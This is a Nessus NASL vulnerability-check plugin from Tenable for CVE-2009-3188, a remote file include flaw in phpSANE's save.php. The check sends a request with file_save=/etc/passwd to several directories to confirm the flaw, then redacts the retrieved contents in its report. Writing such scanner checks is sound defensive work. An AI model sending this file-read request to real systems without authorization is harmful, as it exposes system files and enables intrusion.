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#%NASL_MIN_LEVEL 70300 # # (C) Tenable Network Security, Inc. # include('deprecated_nasl_level.inc'); include('compat.inc'); if (description) { script_id(40796); script_version("1.19"); script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11"); script_cve_id("CVE-2009-3188"); script_bugtraq_id(44234); script_xref(name:"EDB-ID", value:"9533"); script_xref(name:"SECUNIA", value:"36476"); script_name(english:"phpSANE file_save Parameter Remote File Include"); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP script that is affected by a remote file include vulnerability."); script_set_attribute(attribute:"description", value: "The remote web server is running phpSANE, an open source web-based, front-end to scanners using SANE (Scanner Access Now Easy). The version of phpSANE installed on the remote host fails to sanitize user-supplied input to the 'file_save' parameter of the 'save.php' script before using it to include PHP code. Regardless of PHP's 'register_globals' setting, an unauthenticated attacker can exploit this issue to view arbitrary files or possibly to execute arbitrary PHP code, possibly taken from third-party hosts."); script_set_attribute(attribute:"solution", value: "Unknown at this time."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required"); script_set_attribute(attribute:"exploit_available", value:"false"); script_set_attribute(attribute:"d2_elliot_name", value:"phpSANE 0.5.0 RFI"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_cwe_id(94); script_set_attribute(attribute:"vuln_publication_date", value:"2009/08/26"); script_set_attribute(attribute:"plugin_publication_date", value:"2009/08/28"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:david_frohlich:phpsane"); script_set_attribute(attribute:"thorough_tests", value:"true"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2009-2022 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("http_version.nasl"); script_require_keys("www/PHP"); script_exclude_keys("Settings/disable_cgi_scanning"); script_require_ports("Services/www", 80); exit(0); } include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("data_protection.inc"); port = get_http_port(default:80, php:TRUE); file = '/etc/passwd'; file_pat = "root:.*:0:[01]:"; # Loop through directories. if (thorough_tests) dirs = list_uniq(make_list("/phpsane", "/sane", "/scan", cgi_dirs())); else dirs = make_list(cgi_dirs()); foreach dir (dirs) { # Try to exploit the issue. url = string( dir, "/save.php?", "file_save=", file ); res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE); # There's a problem if... body = res[2]; if ( # it looks like phpSANE and... 'Save' >< body && '

' >< body && ( # we see the expected contents or... egrep(pattern:file_pat, string:body) || # we get an error about open_basedir restriction. string(file, ") [function.include]: failed to open stream: Operation not permitted") >< body || string(file, ") [function.include]: failed to open stream: Operation not permitted") >< body || string("open_basedir restriction in effect. File(", file) >< body ) ) { if (report_verbosity > 0) { if (egrep(pattern:file_pat, string:body)) { report = string( "\n", "Nessus was able to exploit the issue to retrieve the contents of\n", "'", file, "' on the remote host using the following URL :\n", "\n", " ", build_url(port:port, qs:url), "\n" ); if (report_verbosity > 1) { contents = ""; foreach line (split(body, keep:FALSE)) { if ('

' == line) break; if (in_contents) contents += line + '\n'; if (!in_contents && '

' == line) in_contents = TRUE; } if (!egrep(pattern:file_pat, string:contents)) contents = body; contents = data_protection::redact_etc_passwd(output:contents); report += string( "\n", "Here are its contents :\n", "\n", crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n", contents, crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n" ); } } else { report = string( "\n", "Nessus was able to verify the issue exists using the following\n", "URL :\n", "\n", " ", build_url(port:port, qs:url), "\n" ); } security_hole(port:port, extra:report); } else security_hole(port); exit(0); } } exit(0, "No vulnerable instances of the software were detected on port "+port+".");

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